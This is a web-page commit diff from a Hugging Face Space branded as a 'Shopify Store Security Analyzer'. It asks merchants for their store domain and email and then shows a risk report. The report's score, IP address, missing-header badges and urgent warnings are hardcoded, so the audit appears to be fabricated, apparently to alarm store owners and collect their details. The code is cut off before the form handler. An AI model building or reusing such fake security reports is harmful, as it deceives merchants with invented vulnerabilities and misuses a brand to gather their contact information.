Hugging Face's logo

Spaces:
Shopify-kubix
/
technicalreport
Running

App Files Community
Sal-Joy commited on
Commit
87b0ae0
·
verified ·
1 Parent(s): f8704e8

Update index.html

Browse files
Files changed (1) hide show
  1. index.html +830 -19
index.html CHANGED
@@ -1,19 +1,830 @@
1
- <!doctype html>
2
- <html>
3
- <head>
4
- <meta charset="utf-8" />
5
- <meta name="viewport" content="width=device-width" />
6
- <title>My static Space</title>
7
- <link rel="stylesheet" href="style.css" />
8
- </head>
9
- <body>
10
- <div class="card">
11
- <h1>Welcome to your static Space!</h1>
12
- <p>You can modify this app directly by editing <i>index.html</i> in the Files and versions tab.</p>
13
- <p>
14
- Also don't forget to check the
15
- <a href="https://huggingface.co/docs/hub/spaces" target="_blank">Spaces documentation</a>.
16
- </p>
17
- </div>
18
- </body>
19
- </html>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <script>window.huggingface={variables:{"SPACE_CREATOR_USER_ID":"67b32e72d2ee8e627d0131af"}};</script>
5
+ <meta charset="UTF-8">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
7
+ <title>Shopify Store Security Analyzer — Risk &amp; Compliance Report</title>
8
+ <script src="https://cdn.tailwindcss.com"></script>
9
+ <script src="https://unpkg.com/lucide@latest/dist/umd/lucide.js"></script>
10
+ <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600;700&amp;display=swap" rel="stylesheet">
11
+ <style>
12
+ :root {
13
+ --bg-primary: #f8fafc;
14
+ --text-primary: #0f172a;
15
+ --text-muted: #64748b;
16
+ --card-bg: rgba(255, 255, 255, 0.7);
17
+ --card-border: rgba(148, 163, 184, 0.2);
18
+ --glass-bg: rgba(255, 255, 255, 0.85);
19
+ --input-bg: rgba(255, 255, 255, 0.9);
20
+ --accent: #16a34a;
21
+ --panel-shadow: 0 4px 20px -2px rgba(0, 0, 0, 0.05);
22
+
23
+ /* New Summary Section Variables */
24
+ --summary-card-bg: linear-gradient(180deg, #d4e4f7 0%, #e8f0f9 100%);
25
+ --summary-border: #b0c8e0;
26
+ }
27
+
28
+ @media (prefers-color-scheme: dark) {
29
+ :root {
30
+ --bg-primary: #020617;
31
+ --text-primary: #e2e8f0;
32
+ --text-muted: #94a3b8;
33
+ --card-bg: rgba(15, 23, 42, 0.6);
34
+ --card-border: rgba(51, 65, 85, 0.5);
35
+ --glass-bg: rgba(15, 23, 42, 0.8);
36
+ --input-bg: rgba(15, 23, 42, 0.9);
37
+ --accent: #22c55e;
38
+ --panel-shadow: 0 10px 30px -5px rgba(0, 0, 0, 0.3);
39
+
40
+ --summary-card-bg: linear-gradient(180deg, #1e293b 0%, #0f172a 100%);
41
+ --summary-border: #334155;
42
+ }
43
+ }
44
+
45
+ body {
46
+ font-family: 'Poppins', system-ui, -apple-system, sans-serif;
47
+ background: var(--bg-primary);
48
+ color: var(--text-primary);
49
+ transition: background 0.4s ease, color 0.4s ease;
50
+ }
51
+
52
+ .container { max-width: 1040px; }
53
+
54
+ .glass-card {
55
+ background: var(--card-bg);
56
+ border: 1px solid var(--card-border);
57
+ backdrop-filter: blur(12px);
58
+ border-radius: 1.25rem;
59
+ box-shadow: var(--panel-shadow);
60
+ }
61
+
62
+ .report-hero {
63
+ background: radial-gradient(circle at top right, rgba(34, 197, 94, 0.08), transparent 40%),
64
+ radial-gradient(circle at bottom left, rgba(56, 189, 248, 0.05), transparent 40%),
65
+ var(--card-bg);
66
+ }
67
+
68
+ .terminal-window {
69
+ background: #0f172a;
70
+ border-radius: 0.75rem;
71
+ overflow: hidden;
72
+ border: 1px solid rgba(255, 255, 255, 0.1);
73
+ }
74
+
75
+ .terminal-header {
76
+ background: rgba(255, 255, 255, 0.05);
77
+ padding: 0.75rem 1rem;
78
+ border-bottom: 1px solid rgba(255, 255, 255, 0.1);
79
+ display: flex;
80
+ align-items: center;
81
+ gap: 0.5rem;
82
+ }
83
+
84
+ .terminal-dot { width: 10px; height: 10px; border-radius: 50%; }
85
+
86
+ .pill-input {
87
+ border-radius: 9999px;
88
+ border: 1px solid var(--card-border);
89
+ background: var(--input-bg);
90
+ transition: all 0.2s ease;
91
+ }
92
+
93
+ .accent-btn {
94
+ background: linear-gradient(135deg, #10b981, #059669);
95
+ color: white;
96
+ transition: transform 0.2s ease, box-shadow 0.2s ease;
97
+ }
98
+
99
+ .accent-btn:hover {
100
+ transform: translateY(-1px);
101
+ box-shadow: 0 10px 20px -5px rgba(16, 185, 129, 0.4);
102
+ }
103
+
104
+ .loading-overlay {
105
+ position: fixed;
106
+ inset: 0;
107
+ background: var(--bg-primary);
108
+ display: none;
109
+ z-index: 100;
110
+ justify-content: center;
111
+ align-items: center;
112
+ }
113
+
114
+ @keyframes fadeIn {
115
+ from { opacity: 0; transform: translateY(10px); }
116
+ to { opacity: 1; transform: translateY(0); }
117
+ }
118
+
119
+ .animate-in { animation: fadeIn 0.5s ease forwards; }
120
+
121
+ pre::-webkit-scrollbar { width: 6px; height: 6px; }
122
+ pre::-webkit-scrollbar-thumb { background: rgba(255, 255, 255, 0.2); border-radius: 10px; }
123
+
124
+ /* Summary Report Specific Styles */
125
+ .report-card-summary {
126
+ background: var(--summary-card-bg);
127
+ border: 2px solid var(--summary-border);
128
+ border-radius: 12px;
129
+ padding: 30px;
130
+ margin-top: 40px;
131
+ }
132
+
133
+ .card-title-summary {
134
+ color: var(--text-primary);
135
+ font-size: 24px;
136
+ font-weight: 700;
137
+ margin-bottom: 25px;
138
+ letter-spacing: -0.02em;
139
+ }
140
+
141
+ .report-content-summary {
142
+ display: flex;
143
+ gap: 30px;
144
+ align-items: flex-start;
145
+ }
146
+
147
+ .site-icon-summary {
148
+ background: linear-gradient(135deg, #e87722 0%, #d96615 100%);
149
+ width: 120px;
150
+ height: 120px;
151
+ border-radius: 12px;
152
+ display: flex;
153
+ align-items: center;
154
+ justify-content: center;
155
+ flex-shrink: 0;
156
+ box-shadow: 0 4px 12px rgba(0,0,0,0.15);
157
+ cursor: pointer;
158
+ position: relative;
159
+ }
160
+
161
+ .site-icon-letter-summary {
162
+ color: white;
163
+ font-size: 70px;
164
+ font-weight: 700;
165
+ user-select: none;
166
+ }
167
+
168
+ .detail-row-summary {
169
+ display: grid;
170
+ grid-template-columns: 140px 1fr;
171
+ margin-bottom: 15px;
172
+ align-items: start;
173
+ }
174
+
175
+ .detail-label-summary {
176
+ color: var(--text-primary);
177
+ font-weight: 700;
178
+ font-size: 14px;
179
+ opacity: 0.8;
180
+ }
181
+
182
+ .detail-value-summary {
183
+ color: var(--text-primary);
184
+ font-size: 14px;
185
+ }
186
+
187
+ .detail-value-summary a {
188
+ color: var(--accent);
189
+ text-decoration: none;
190
+ font-weight: 600;
191
+ }
192
+
193
+ .badges-summary {
194
+ display: flex;
195
+ flex-wrap: wrap;
196
+ gap: 8px;
197
+ }
198
+
199
+ .badge-summary {
200
+ padding: 4px 10px;
201
+ border-radius: 6px;
202
+ font-size: 11px;
203
+ font-weight: 700;
204
+ display: inline-flex;
205
+ align-items: center;
206
+ gap: 5px;
207
+ text-transform: uppercase;
208
+ }
209
+
210
+ .badge-summary.success { background-color: #10b981; color: white; }
211
+ .badge-summary.danger { background-color: #ef4444; color: white; }
212
+
213
+ .badge-summary::before { content: '✓'; font-weight: bold; }
214
+ .badge-summary.danger::before { content: '✕'; font-weight: bold; }
215
+
216
+ .missing-headers-summary {
217
+ background: var(--summary-card-bg);
218
+ border: 2px solid var(--summary-border);
219
+ border-radius: 12px;
220
+ padding: 30px;
221
+ margin-top: 20px;
222
+ }
223
+
224
+ .header-item-summary {
225
+ display: grid;
226
+ grid-template-columns: 220px 1fr;
227
+ padding: 15px 0;
228
+ border-bottom: 1px solid var(--card-border);
229
+ gap: 20px;
230
+ }
231
+
232
+ .header-item-summary:last-child { border-bottom: none; }
233
+
234
+ .header-name-summary {
235
+ color: #ef4444;
236
+ font-weight: 700;
237
+ font-size: 14px;
238
+ }
239
+
240
+ .header-description-summary {
241
+ color: var(--text-primary);
242
+ font-size: 13px;
243
+ line-height: 1.6;
244
+ opacity: 0.9;
245
+ }
246
+
247
+ /* Icon Editor Styles */
248
+ .icon-editor-container-summary {
249
+ position: absolute;
250
+ top: 0;
251
+ left: 100%;
252
+ margin-left: 15px;
253
+ background: var(--glass-bg);
254
+ border: 1px solid var(--card-border);
255
+ border-radius: 12px;
256
+ padding: 15px;
257
+ display: none;
258
+ flex-direction: column;
259
+ gap: 10px;
260
+ z-index: 50;
261
+ box-shadow: var(--panel-shadow);
262
+ backdrop-filter: blur(20px);
263
+ min-width: 150px;
264
+ }
265
+
266
+ .icon-editor-container-summary.visible { display: flex; }
267
+
268
+ .icon-editor-label-summary {
269
+ font-size: 11px;
270
+ font-weight: 700;
271
+ text-transform: uppercase;
272
+ color: var(--text-muted);
273
+ }
274
+
275
+ .icon-letter-input-summary {
276
+ padding: 8px;
277
+ border: 1px solid var(--card-border);
278
+ border-radius: 6px;
279
+ font-size: 14px;
280
+ font-weight: 700;
281
+ text-align: center;
282
+ background: var(--input-bg);
283
+ color: var(--text-primary);
284
+ }
285
+
286
+ .icon-color-input-summary {
287
+ width: 100%;
288
+ height: 35px;
289
+ border: none;
290
+ border-radius: 6px;
291
+ cursor: pointer;
292
+ }
293
+
294
+ .icon-editor-button-summary {
295
+ padding: 8px;
296
+ font-size: 12px;
297
+ background: var(--accent);
298
+ color: white;
299
+ border-radius: 6px;
300
+ cursor: pointer;
301
+ font-weight: 700;
302
+ }
303
+
304
+ .site-icon-summary.editing {
305
+ outline: 3px solid var(--accent);
306
+ }
307
+
308
+ @media (max-width: 768px) {
309
+ .report-content-summary { flex-direction: column; align-items: center; text-align: center; }
310
+ .detail-row-summary { grid-template-columns: 1fr; gap: 4px; }
311
+ .header-item-summary { grid-template-columns: 1fr; }
312
+ .icon-editor-container-summary { left: 0; top: 100%; margin-left: 0; margin-top: 10px; }
313
+ }
314
+ </style>
315
+ </head>
316
+ <body class="min-h-screen selection:bg-emerald-500/30">
317
+
318
+ <!-- HEADER -->
319
+ <header class="sticky top-0 z-40 w-full border-b border-slate-200 dark:border-slate-800/50 bg-white/80 dark:bg-slate-950/80 backdrop-blur-xl">
320
+ <div class="container mx-auto px-6 h-16 flex items-center justify-between">
321
+ <div class="flex items-center gap-3">
322
+ <img src="https://logosandtypes.com/wp-content/uploads/2020/11/Shopify.png" alt="Security Analyzer Logo" class="h-8 w-8 rounded-lg shadow-lg shadow-emerald-500/20 object-cover">
323
+ <div class="flex flex-col">
324
+ <span class="text-sm font-bold tracking-tight text-slate-900 dark:text-white uppercase">Security Analyzer</span>
325
+ <span class="text-[10px] text-slate-500 font-medium uppercase tracking-wider">Enterprise Compliance</span>
326
+ </div>
327
+ </div>
328
+ <nav class="hidden md:flex items-center gap-8 text-[11px] font-semibold uppercase tracking-widest text-slate-500 dark:text-slate-400">
329
+ <a href="#analyzer" class="hover:text-emerald-500 transition-colors">Audit</a>
330
+ <a href="#sections" class="hover:text-emerald-500 transition-colors">Methods</a>
331
+ <a href="#about" class="hover:text-emerald-500 transition-colors">About</a>
332
+ </nav>
333
+ </div>
334
+ </header>
335
+
336
+ <main class="container mx-auto px-6 py-12 md:py-20">
337
+
338
+ <!-- LANDING VIEW -->
339
+ <div id="landingView" class="space-y-16 animate-in">
340
+ <section id="analyzer" class="grid lg:grid-cols-2 gap-12 items-center">
341
+ <div class="space-y-8">
342
+ <div class="inline-flex items-center gap-2 px-3 py-1 rounded-full bg-emerald-500/10 border border-emerald-500/20 text-[10px] font-bold uppercase tracking-widest text-emerald-600 dark:text-emerald-400">
343
+ <i data-lucide="shield-check" class="w-3.5 h-3.5"></i>
344
+ v2.5 Security Audit Engine
345
+ </div>
346
+ <h1 class="text-4xl md:text-5xl font-bold text-slate-900 dark:text-white leading-[1.1] tracking-tight">
347
+ Comprehensive <span class="text-emerald-500 italic">vulnerability</span> scan for modern Shopify merchants.
348
+ </h1>
349
+ <p class="text-slate-500 dark:text-slate-400 text-base md:text-lg max-w-lg leading-relaxed">
350
+ Uncover configuration errors, compliance leaks, and crawl vulnerabilities. Receive a professional risk report designed for developers and security officers.
351
+ </p>
352
+
353
+ <div class="glass-card p-6 md:p-8 space-y-6">
354
+ <form id="analyzerForm" class="space-y-5">
355
+ <div class="space-y-2">
356
+ <label class="text-[11px] font-bold uppercase tracking-widest text-slate-400">Store Domain</label>
357
+ <div class="pill-input flex items-center px-4 py-3 gap-3 focus-within:border-emerald-500/50 focus-within:ring-4 focus-within:ring-emerald-500/5 transition-all">
358
+ <i data-lucide="globe" class="w-4 h-4 text-slate-400"></i>
359
+ <input type="text" id="storeUrlInputMain" name="storeUrl" required placeholder="yourstore.com" class="bg-transparent outline-none border-none text-sm text-slate-900 dark:text-white placeholder:text-slate-400 flex-1">
360
+ </div>
361
+ </div>
362
+ <div class="space-y-2">
363
+ <label class="text-[11px] font-bold uppercase tracking-widest text-slate-400">Delivery Email</label>
364
+ <div class="pill-input flex items-center px-4 py-3 gap-3 focus-within:border-emerald-500/50 focus-within:ring-4 focus-within:ring-emerald-500/5 transition-all">
365
+ <i data-lucide="mail" class="w-4 h-4 text-slate-400"></i>
366
+ <input type="email" name="email" required placeholder="admin@domain.com" class="bg-transparent outline-none border-none text-sm text-slate-900 dark:text-white placeholder:text-slate-400 flex-1">
367
+ </div>
368
+ </div>
369
+ <button type="submit" class="accent-btn w-full flex items-center justify-center gap-2 text-sm font-bold py-3.5 rounded-xl">
370
+ Initialize Security Scan
371
+ <i data-lucide="arrow-right" class="w-4 h-4"></i>
372
+ </button>
373
+ </form>
374
+ </div>
375
+ </div>
376
+
377
+ <div class="relative group">
378
+ <div class="absolute -inset-4 bg-emerald-500/10 rounded-[2rem] blur-2xl group-hover:bg-emerald-500/20 transition-all duration-500"></div>
379
+ <div class="glass-card overflow-hidden relative">
380
+ <video autoplay loop muted playsinline class="w-full h-80 object-cover opacity-90">
381
+ <source src="https://huggingface.co/spaces/willisarchibald/shopify-sniffer-pro/resolve/main/videos/From%20KlickPin%20CF%20Pin%20di%20Rafa%20Cisneros%20Coria%20su%20Manualidades%20creativas%20nel%202025.mp4#t=0,7" type="video/mp4">
382
+ </video>
383
+ </div>
384
+ </div>
385
+ </section>
386
+ </div>
387
+
388
+ <!-- LOADING VIEW -->
389
+ <div id="loadingView" class="loading-overlay">
390
+ <div class="text-center space-y-6">
391
+ <div class="relative inline-block">
392
+ <div class="w-16 h-16 border-4 border-emerald-500/20 border-t-emerald-500 rounded-full animate-spin"></div>
393
+ <i data-lucide="shield" class="w-6 h-6 text-emerald-500 absolute top-1/2 left-1/2 -translate-x-1/2 -translate-y-1/2"></i>
394
+ </div>
395
+ <div class="space-y-2">
396
+ <h3 id="loadingStatus" class="text-lg font-bold tracking-tight text-slate-900 dark:text-white">Analyzing infrastructure...</h3>
397
+ <p class="text-xs text-slate-500 uppercase tracking-widest font-medium">Please do not refresh the page</p>
398
+ </div>
399
+ </div>
400
+ </div>
401
+
402
+ <!-- RESULTS VIEW -->
403
+ <div id="resultsView" class="hidden space-y-10 animate-in">
404
+
405
+ <!-- REPORT HEADER -->
406
+ <div class="flex flex-col md:flex-row md:items-end justify-between gap-6 pb-6 border-b border-slate-200 dark:border-slate-800/60">
407
+ <div class="space-y-2">
408
+ <div class="flex items-center gap-3">
409
+ <button id="backToForm" class="p-2 rounded-full hover:bg-slate-200 dark:hover:bg-slate-800 transition-colors">
410
+ <i data-lucide="chevron-left" class="w-5 h-5"></i>
411
+ </button>
412
+ <h2 class="text-2xl font-bold text-slate-900 dark:text-white">Security Risk Snapshot</h2>
413
+ </div>
414
+ <p id="resultsStoreUrl" class="text-sm font-medium text-emerald-600 dark:text-emerald-400 pl-11"></p>
415
+ </div>
416
+ <div class="px-4 py-2 rounded-lg bg-amber-500/10 border border-amber-500/20 text-[11px] font-bold text-amber-600 dark:text-amber-400 uppercase tracking-widest flex items-center gap-2">
417
+ <span class="w-2 h-2 rounded-full bg-amber-500 animate-pulse"></span>
418
+ Draft Report - Finalizing delivery to inbox
419
+ </div>
420
+ </div>
421
+
422
+ <!-- MAIN SCORE HERO -->
423
+ <div class="glass-card report-hero p-8 md:p-12 text-center md:text-left grid md:grid-cols-3 items-center gap-10">
424
+ <div class="flex flex-col items-center md:items-start space-y-4">
425
+ <span class="text-[10px] font-black uppercase tracking-[0.2em] text-slate-400">Audit Metric</span>
426
+ <div class="relative inline-flex flex-col items-center">
427
+ <span id="scoreOverall" class="text-8xl font-black tracking-tighter tabular-nums leading-none">48</span>
428
+ <span class="text-sm font-bold text-slate-400 mt-2 uppercase tracking-widest">Efficiency / 100</span>
429
+ </div>
430
+ </div>
431
+ <div class="md:col-span-2 space-y-4">
432
+ <h3 id="scoreOverallLabel" class="text-2xl md:text-3xl font-bold leading-tight">Significant weaknesses across security layers</h3>
433
+ <p class="text-slate-500 dark:text-slate-400 leading-relaxed text-sm md:text-base">
434
+ The current store architecture exhibits non-standard security headers and exposed system paths. Immediate technical intervention is recommended to mitigate unauthorized data access.
435
+ </p>
436
+ </div>
437
+ </div>
438
+
439
+ <!-- SUB-SCORES GRID -->
440
+ <div class="grid md:grid-cols-3 gap-6">
441
+ <div class="glass-card p-6 space-y-4">
442
+ <div class="flex items-center justify-between">
443
+ <i data-lucide="layout" class="w-5 h-5 text-emerald-500"></i>
444
+ <span class="text-[10px] font-bold text-slate-400 uppercase tracking-widest">Surface</span>
445
+ </div>
446
+ <h4 id="scoreSpeed" class="font-bold text-slate-900 dark:text-white leading-snug">Hardening Gap</h4>
447
+ <p id="scoreSpeedNote" class="text-xs text-slate-500 dark:text-slate-400 leading-relaxed"></p>
448
+ </div>
449
+ <div class="glass-card p-6 space-y-4">
450
+ <div class="flex items-center justify-between">
451
+ <i data-lucide="database" class="w-5 h-5 text-cyan-500"></i>
452
+ <span class="text-[10px] font-bold text-slate-400 uppercase tracking-widest">Data</span>
453
+ </div>
454
+ <h4 id="scoreUX" class="font-bold text-slate-900 dark:text-white leading-snug">App Visibility Risk</h4>
455
+ <p id="scoreUXNote" class="text-xs text-slate-500 dark:text-slate-400 leading-relaxed"></p>
456
+ </div>
457
+ <div class="glass-card p-6 space-y-4">
458
+ <div class="flex items-center justify-between">
459
+ <i data-lucide="fingerprint" class="w-5 h-5 text-indigo-500"></i>
460
+ <span class="text-[10px] font-bold text-slate-400 uppercase tracking-widest">Trust</span>
461
+ </div>
462
+ <h4 id="scoreTrust" class="font-bold text-slate-900 dark:text-white leading-snug">Compliance Drift</h4>
463
+ <p id="scoreTrustNote" class="text-xs text-slate-500 dark:text-slate-400 leading-relaxed"></p>
464
+ </div>
465
+ </div>
466
+
467
+ <!-- ROBOTS ANALYSIS WINDOW -->
468
+ <div class="space-y-4">
469
+ <div class="flex items-center justify-between">
470
+ <h3 class="text-sm font-bold uppercase tracking-widest text-slate-400">Indexing & Path Audit</h3>
471
+ <span id="robotsUrl" class="text-[10px] font-medium text-slate-500 font-mono"></span>
472
+ </div>
473
+ <div class="terminal-window">
474
+ <div class="terminal-header">
475
+ <div class="terminal-dot bg-rose-500/50"></div>
476
+ <div class="terminal-dot bg-amber-500/50"></div>
477
+ <div class="terminal-dot bg-emerald-500/50"></div>
478
+ <span class="ml-4 text-[10px] font-mono text-slate-500 uppercase">robots.txt config</span>
479
+ </div>
480
+ <pre id="robotsPreview" class="p-6 text-[12px] font-mono leading-relaxed text-emerald-400/90 overflow-auto max-h-80 bg-[#0f172a]"></pre>
481
+ </div>
482
+ <p id="robotsNote" class="text-xs text-slate-500 italic pl-2"></p>
483
+ </div>
484
+
485
+ <!-- SECURITY ADVISORY / NEXT STEPS -->
486
+ <div class="grid lg:grid-cols-5 gap-8">
487
+ <div class="lg:col-span-3 glass-card p-8 space-y-6">
488
+ <h3 class="flex items-center gap-2 text-lg font-bold">
489
+ <i data-lucide="list-checks" class="w-5 h-5 text-emerald-500"></i>
490
+ Recommended Action Items
491
+ </h3>
492
+ <ul id="actionList" class="space-y-4"></ul>
493
+ </div>
494
+
495
+ <div class="lg:col-span-2 space-y-6">
496
+ <div class="glass-card p-8 bg-rose-500/[0.03] border-rose-500/20 space-y-6">
497
+ <h3 class="flex items-center gap-2 text-lg font-bold text-rose-500">
498
+ <i data-lucide="zap" class="w-5 h-5"></i>
499
+ Business Risk Impact
500
+ </h3>
501
+ <ul id="impactList" class="space-y-3"></ul>
502
+ </div>
503
+
504
+ <div class="p-6 rounded-xl bg-slate-900 dark:bg-white text-white dark:text-slate-900 space-y-4">
505
+ <p class="text-[11px] font-bold uppercase tracking-wider opacity-60">Developer Brief</p>
506
+ <p class="text-sm font-medium leading-relaxed">
507
+ Forward this audit to your technical lead with the priority subject:
508
+ </p>
509
+ <div class="p-3 bg-white/10 dark:bg-slate-100 rounded text-[12px] font-mono break-all">
510
+ URGENT: Infrastructure vulnerabilities detected in security audit
511
+ </div>
512
+ </div>
513
+ </div>
514
+ </div>
515
+
516
+ <!-- NEW SECURITY REPORT SUMMARY INTEGRATION -->
517
+ <div class="report-card-summary animate-in" style="animation-delay: 0.2s;">
518
+ <h1 class="card-title-summary">Security Report Summary</h1>
519
+ <div class="report-content-summary">
520
+ <div class="site-icon-summary" id="siteIconSummary">
521
+ <div class="site-icon-letter-summary" id="iconLetterSummary">D</div>
522
+ <div class="icon-editor-container-summary" id="iconEditorSummary">
523
+ <div class="icon-editor-label-summary">Letter</div>
524
+ <input type="text" class="icon-letter-input-summary" id="iconLetterInputSummary" value="D" maxlength="1">
525
+ <div class="icon-editor-label-summary">Color</div>
526
+ <input type="color" class="icon-color-input-summary" id="iconColorInputSummary" value="#e87722">
527
+ <button class="icon-editor-button-summary" id="iconEditDoneSummary">Done</button>
528
+ </div>
529
+ </div>
530
+ <div class="report-details-summary flex-1">
531
+ <div class="detail-row-summary">
532
+ <div class="detail-label-summary">Site:</div>
533
+ <div class="detail-value-summary">
534
+ <a href="#" id="summarySiteLink" target="_blank">Loading...</a>
535
+ </div>
536
+ </div>
537
+ <div class="detail-row-summary">
538
+ <div class="detail-label-summary">IP Address:</div>
539
+ <div class="detail-value-summary" id="summaryIP">142.93.3.68</div>
540
+ </div>
541
+ <div class="detail-row-summary">
542
+ <div class="detail-label-summary">Report Time:</div>
543
+ <div class="detail-value-summary" id="summaryTime">--</div>
544
+ </div>
545
+ <div class="detail-row-summary">
546
+ <div class="detail-label-summary">Headers:</div>
547
+ <div class="detail-value-summary">
548
+ <div class="badges-summary">
549
+ <span class="badge-summary success">X-Frame-Options</span>
550
+ <span class="badge-summary success">X-Content-Type-Options</span>
551
+ <span class="badge-summary danger">Strict-Transport-Security</span>
552
+ <span class="badge-summary danger">Content-Security-Policy</span>
553
+ <span class="badge-summary danger">Referrer-Policy</span>
554
+ <span class="badge-summary danger">Permissions-Policy</span>
555
+ </div>
556
+ </div>
557
+ </div>
558
+ <div class="detail-row-summary">
559
+ <div class="detail-label-summary">Advanced:</div>
560
+ <div class="detail-value-summary">
561
+ <span class="opacity-70">Your site infrastructure is currently being scanned for deep API vulnerabilities and logic flaws.</span>
562
+ </div>
563
+ </div>
564
+ </div>
565
+ </div>
566
+ </div>
567
+
568
+ <div class="missing-headers-summary">
569
+ <h2 class="card-title-summary">Missing Headers</h2>
570
+
571
+ <div class="header-item-summary">
572
+ <div class="header-name-summary">Strict-Transport-Security</div>
573
+ <div class="header-description-summary">
574
+ HTTP Strict Transport Security strengthens TLS implementation by enforcing HTTPS on the client side. Recommended: "max-age=31536000; includeSubDomains".
575
+ </div>
576
+ </div>
577
+
578
+ <div class="header-item-summary">
579
+ <div class="header-name-summary">Content-Security-Policy</div>
580
+ <div class="header-description-summary">
581
+ Effective measure to protect from XSS attacks. Whitelisting approved content prevents the loading of malicious assets.
582
+ </div>
583
+ </div>
584
+
585
+ <div class="header-item-summary">
586
+ <div class="header-name-summary">Referrer-Policy</div>
587
+ <div class="header-description-summary">
588
+ Controls how much information the browser includes with navigations away from the document. Essential for privacy compliance.
589
+ </div>
590
+ </div>
591
+
592
+ <div class="header-item-summary">
593
+ <div class="header-name-summary">Permissions-Policy</div>
594
+ <div class="header-description-summary">
595
+ Allows a site to restrict which browser features and APIs (camera, geolocation, etc.) can be utilized by scripts.
596
+ </div>
597
+ </div>
598
+ </div>
599
+
600
+ </div>
601
+ </main>
602
+
603
+ <footer class="mt-20 border-t border-slate-200 dark:border-slate-800/60 py-10">
604
+ <div class="container mx-auto px-6 flex flex-col md:flex-row justify-between items-center gap-6">
605
+ <p class="text-xs text-slate-500 font-medium tracking-tight">© 2025 Shopify Security Analyzer. Powered by SA-Audit Enterprise Engine.</p>
606
+ <div class="flex items-center gap-6 text-[10px] font-bold uppercase tracking-widest text-slate-400">
607
+ <a href="#" class="hover:text-slate-900 dark:hover:text-white transition-colors">Documentation</a>
608
+ <a href="#" class="hover:text-slate-900 dark:hover:text-white transition-colors">Privacy Policy</a>
609
+ <a href="#" class="hover:text-slate-900 dark:hover:text-white transition-colors">API Access</a>
610
+ </div>
611
+ </div>
612
+ </footer>
613
+
614
+ <script>
615
+ lucide.createIcons();
616
+
617
+ const form = document.getElementById('analyzerForm');
618
+ const landingView = document.getElementById('landingView');
619
+ const resultsView = document.getElementById('resultsView');
620
+ const loadingView = document.getElementById('loadingView');
621
+ const loadingStatus = document.getElementById('loadingStatus');
622
+ const backToForm = document.getElementById('backToForm');
623
+ const storeUrlInput = document.getElementById('storeUrlInputMain');
624
+
625
+ // Fix URL Logic
626
+ const fixUrl = (input) => {
627
+ let val = input.value.trim();
628
+ if (val && !/^https?:\/\//i.test(val)) {
629
+ input.value = 'https://' + val;
630
+ }
631
+ };
632
+ storeUrlInput.addEventListener('blur', () => fixUrl(storeUrlInput));
633
+
634
+ // Summary Section Logic
635
+ function updateSummarySection(url) {
636
+ const origin = getCleanOrigin(url);
637
+ const linkEl = document.getElementById('summarySiteLink');
638
+ linkEl.href = origin;
639
+ linkEl.textContent = origin;
640
+
641
+ // Update Icon Letter
642
+ const domainParts = origin.replace(/^https?:\/\//, '').split('.');
643
+ const firstLetter = domainParts[0].charAt(0).toUpperCase() || 'D';
644
+ document.getElementById('iconLetterSummary').textContent = firstLetter;
645
+ document.getElementById('iconLetterInputSummary').value = firstLetter;
646
+
647
+ // Update Time
648
+ const now = new Date();
649
+ document.getElementById('summaryTime').textContent = now.toUTCString();
650
+ }
651
+
652
+ // Icon Editor Logic
653
+ function setupIconEditor() {
654
+ const siteIcon = document.getElementById('siteIconSummary');
655
